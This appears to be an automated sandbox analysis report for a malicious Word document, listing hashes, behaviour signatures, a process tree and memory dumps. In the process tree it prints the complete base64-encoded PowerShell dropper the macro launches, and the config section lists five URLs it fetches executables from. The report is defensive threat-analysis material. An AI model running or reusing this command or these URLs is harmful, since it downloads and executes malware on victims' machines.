Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:25

General

  • Target

    0674a581112c42ee8ab34769aef9d8ef1252bb2267490436334b2e2747f22cb8.doc

  • Size

    175KB

  • MD5

    b193b86be161c703a4e49e34eeff6029

  • SHA1

    2890a1bf9818e96e92bfc869a474acf460822fa1

  • SHA256

    0674a581112c42ee8ab34769aef9d8ef1252bb2267490436334b2e2747f22cb8

  • SHA512

    879e670b02ce768cc21997b523a5847025862a002dfba2fc7b3805f18fe87fe4d96eddb02139e6c4e8d3fe2b2a27e8a23f64fd4773f3b3ef5a052bbf241893ad

  • SSDEEP

    3072:Dl4PrXcuQuvpzm4bkiaMQgAlSQ9THaHDaCppKw3E17oB:WDRv1m4bnQgISGTHBw3Eu

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://chadcast.com/public_html/dU1iLSL3hw/

exe.dropper

http://blondenerd.com/cgi-bin/2K3jGP3q1w/

exe.dropper

http://bluespaceit.com/rodselectrical.net.au/dt72vCkz/

exe.dropper

http://bitbenderz.com/azam/OqMIf94117/

exe.dropper

http://bjbus.net/files/9O85/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0674a581112c42ee8ab34769aef9d8ef1252bb2267490436334b2e2747f22cb8.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2232
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABkAG8AdQBoAGIAYQBjAGMAaAB1AGEAdABoAD0AJwBuAGEAZQBiAGMAaQBiAHEAdQBvAHYAZwBpAGEAagAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwB1AHIASQBUAHkAcABgAFIAbwBgAFQAYABPAGAAQwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABxAHUAbwBpAHoAZwBpAGEAcAB4AGEAagBiAGEAeQAgAD0AIAAnADcAMgA2ACcAOwAkAGMAbwBpAGYAcwBvAGkAcQB1AHkAYQB1AHgAYwBhAGUAbAA9ACcAdAB1AGQAYwBpAG8AbgBrAG8AdQBwACcAOwAkAHEAdQB1AHcAbgBvAG8AdABoAGYAbwBlAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHEAdQBvAGkAegBnAGkAYQBwAHgAYQBqAGIAYQB5ACsAJwAuAGUAeABlACcAOwAkAGsAZQBvAGwAZwBvAGsAcgBvAGkAYwA9ACcAdAB1AHUAYgBnAHUAdQB6ACcAOwAkAGoAbwBpAHQAaAByAGkAZQBnAHgAbwBpAGcAbgBhAHoAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAQwBsAEkAZQBOAHQAOwAkAGsAYQBxAHUAcgBpAGUAZgBzAGUAZQB6AD0AJwBoAHQAdABwADoALwAvAGMAaABhAGQAYwBhAHMAdAAuAGMAbwBtAC8AcAB1AGIAbABpAGMAXwBoAHQAbQBsAC8AZABVADEAaQBMAFMATAAzAGgAdwAvACoAaAB0AHQAcAA6AC8ALwBiAGwAbwBuAGQAZQBuAGUAcgBkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMgBLADMAagBHAFAAMwBxADEAdwAvACoAaAB0AHQAcAA6AC8ALwBiAGwAdQBlAHMAcABhAGMAZQBpAHQALgBjAG8AbQAvAHIAbwBkAHMAZQBsAGUAYwB0AHIAaQBjAGEAbAAuAG4AZQB0AC4AYQB1AC8AZAB0ADcAMgB2AEMAawB6AC8AKgBoAHQAdABwADoALwAvAGIAaQB0AGIAZQBuAGQAZQByAHoALgBjAG8AbQAvAGEAegBhAG0ALwBPAHEATQBJAGYAOQA0ADEAMQA3AC8AKgBoAHQAdABwADoALwAvAGIAagBiAHUAcwAuAG4AZQB0AC8AZgBpAGwAZQBzAC8AOQBPADgANQAvACcALgAiAFMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAaABvAGEAagBqAGUAbwB0AGgAPQAnAGQAZQBvAHEAdQBqAHUAcABuAGUAdABoACcAOwBmAG8AcgBlAGEAYwBoACgAJABmAHUAbgB4AGEAbwBoAGYAdQB0AGYAYQBpAHAAIABpAG4AIAAkAGsAYQBxAHUAcgBpAGUAZgBzAGUAZQB6ACkAewB0AHIAeQB7ACQAagBvAGkAdABoAHIAaQBlAGcAeABvAGkAZwBuAGEAegAuACIARABPAHcAbgBMAE8AYQBgAGQAZgBpAGAAbABlACIAKAAkAGYAdQBuAHgAYQBvAGgAZgB1AHQAZgBhAGkAcAAsACAAJABxAHUAdQB3AG4AbwBvAHQAaABmAG8AZQBnACkAOwAkAGwAbwBhAHQAaABjAG8AdQBxAHUAcAB1AHUAegBoAGkAZQB5AD0AJwB0AG8AaQByAG4AZQBpAHcAZAB1AGEAZAB6AGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAcQB1AHUAdwBuAG8AbwB0AGgAZgBvAGUAZwApAC4AIgBsAGAARQBOAGcAdABoACIAIAAtAGcAZQAgADMAMQA4ADcAOQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAEUAYQBgAFQARQAiACgAJABxAHUAdQB3AG4AbwBvAHQAaABmAG8AZQBnACkAOwAkAGgAaQBvAHIAbABlAGUAawA9ACcAaABpAHYAYgBlAGUAawB5AGUAbwBjACcAOwBiAHIAZQBhAGsAOwAkAHAAYQB6AGcAYQBpAGMAPQAnAHMAZQBlAGoAdABvAG8AeQBzAGEAZQBtAG4AZQBxAHUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAbgBvAGEAYwBuAGUAaQBuAHcAZQB1AG0AbQBhAGkAegA9ACcAbgBvAGEAaABmAGUAZQBjAGgAeQBlAHUAdABoACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:576

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/576-42-0x000000001B620000-0x000000001B902000-memory.dmp

      Filesize

      2.9MB

    • memory/576-43-0x0000000002240000-0x0000000002248000-memory.dmp

      Filesize

      32KB

    • memory/2232-21-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-7-0x0000000006C00000-0x0000000006D00000-memory.dmp

      Filesize

      1024KB

    • memory/2232-6-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-19-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-8-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-20-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-11-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-9-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-10-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-13-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-16-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-17-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-15-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-14-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-18-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-22-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-46-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-5-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-12-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-28-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-35-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-36-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-34-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-33-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-32-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-31-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-29-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-27-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-30-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-2-0x0000000071A0D000-0x0000000071A18000-memory.dmp

      Filesize

      44KB

    • memory/2232-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2232-44-0x0000000071A0D000-0x0000000071A18000-memory.dmp

      Filesize

      44KB

    • memory/2232-45-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2232-0-0x000000002F9B1000-0x000000002F9B2000-memory.dmp

      Filesize

      4KB

    • memory/2232-47-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB